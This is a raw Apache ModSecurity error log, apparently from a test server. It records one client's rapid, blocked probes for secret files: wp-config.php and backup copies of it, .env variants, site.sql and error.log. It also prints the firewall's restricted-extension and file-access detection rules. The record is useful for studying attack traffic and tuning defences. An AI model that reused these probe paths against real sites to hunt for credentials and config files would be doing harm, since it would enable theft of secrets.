[Sun Jun 29 20:23:41.509561 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/logs/error.log&quot;] [unique_id &quot;aGGEraAIGT5SiqI9BxP-mAAAAAc&quot;]
[Sun Jun 29 20:23:41.509750 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/logs/error.log&quot;] [unique_id &quot;aGGEraAIGT5SiqI9BxP-mAAAAAc&quot;]
[Sun Jun 29 20:23:46.480224 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/site.conf&quot;] [unique_id &quot;aGGEsqAIGT5SiqI9BxP-nQAAAAc&quot;]
[Sun Jun 29 20:23:46.480596 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/site.conf&quot;] [unique_id &quot;aGGEsqAIGT5SiqI9BxP-nQAAAAc&quot;]
[Sun Jun 29 20:23:46.480775 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/site.conf&quot;] [unique_id &quot;aGGEsqAIGT5SiqI9BxP-nQAAAAc&quot;]
[Sun Jun 29 20:23:46.502523 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/site.sql&quot;] [unique_id &quot;aGGEsqAIGT5SiqI9BxP-ngAAAAc&quot;]
[Sun Jun 29 20:23:46.502854 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/site.sql&quot;] [unique_id &quot;aGGEsqAIGT5SiqI9BxP-ngAAAAc&quot;]
[Sun Jun 29 20:23:46.503024 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/site.sql&quot;] [unique_id &quot;aGGEsqAIGT5SiqI9BxP-ngAAAAc&quot;]
[Sun Jun 29 20:23:46.524994 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /site/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/wp-config.php&quot;] [unique_id &quot;aGGEsqAIGT5SiqI9BxP-nwAAAAc&quot;]
[Sun Jun 29 20:23:46.525254 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/wp-config.php&quot;] [unique_id &quot;aGGEsqAIGT5SiqI9BxP-nwAAAAc&quot;]
[Sun Jun 29 20:23:46.525452 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/wp-config.php&quot;] [unique_id &quot;aGGEsqAIGT5SiqI9BxP-nwAAAAc&quot;]
[Sun Jun 29 20:23:46.547218 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/wp-config.php.old&quot;] [unique_id &quot;aGGEsqAIGT5SiqI9BxP-oAAAAAc&quot;]
[Sun Jun 29 20:23:46.547381 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /site/wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/wp-config.php.old&quot;] [unique_id &quot;aGGEsqAIGT5SiqI9BxP-oAAAAAc&quot;]
[Sun Jun 29 20:23:46.547633 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/wp-config.php.old&quot;] [unique_id &quot;aGGEsqAIGT5SiqI9BxP-oAAAAAc&quot;]
[Sun Jun 29 20:23:46.547829 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/wp-config.php.old&quot;] [unique_id &quot;aGGEsqAIGT5SiqI9BxP-oAAAAAc&quot;]
[Sun Jun 29 20:23:51.722310 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-qwAAAAc&quot;]
[Sun Jun 29 20:23:51.722567 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-qwAAAAc&quot;]
[Sun Jun 29 20:23:51.722761 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-qwAAAAc&quot;]
[Sun Jun 29 20:23:51.744605 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-rAAAAAc&quot;]
[Sun Jun 29 20:23:51.744746 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-rAAAAAc&quot;]
[Sun Jun 29 20:23:51.745022 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-rAAAAAc&quot;]
[Sun Jun 29 20:23:51.745199 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-rAAAAAc&quot;]
[Sun Jun 29 20:23:51.767093 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.local&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-rQAAAAc&quot;]
[Sun Jun 29 20:23:51.767347 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.local&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-rQAAAAc&quot;]
[Sun Jun 29 20:23:51.767535 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.local&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-rQAAAAc&quot;]
[Sun Jun 29 20:23:51.789245 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-rgAAAAc&quot;]
[Sun Jun 29 20:23:51.789407 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-rgAAAAc&quot;]
[Sun Jun 29 20:23:51.789634 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-rgAAAAc&quot;]
[Sun Jun 29 20:23:51.789814 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-rgAAAAc&quot;]
[Sun Jun 29 20:23:51.811681 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri 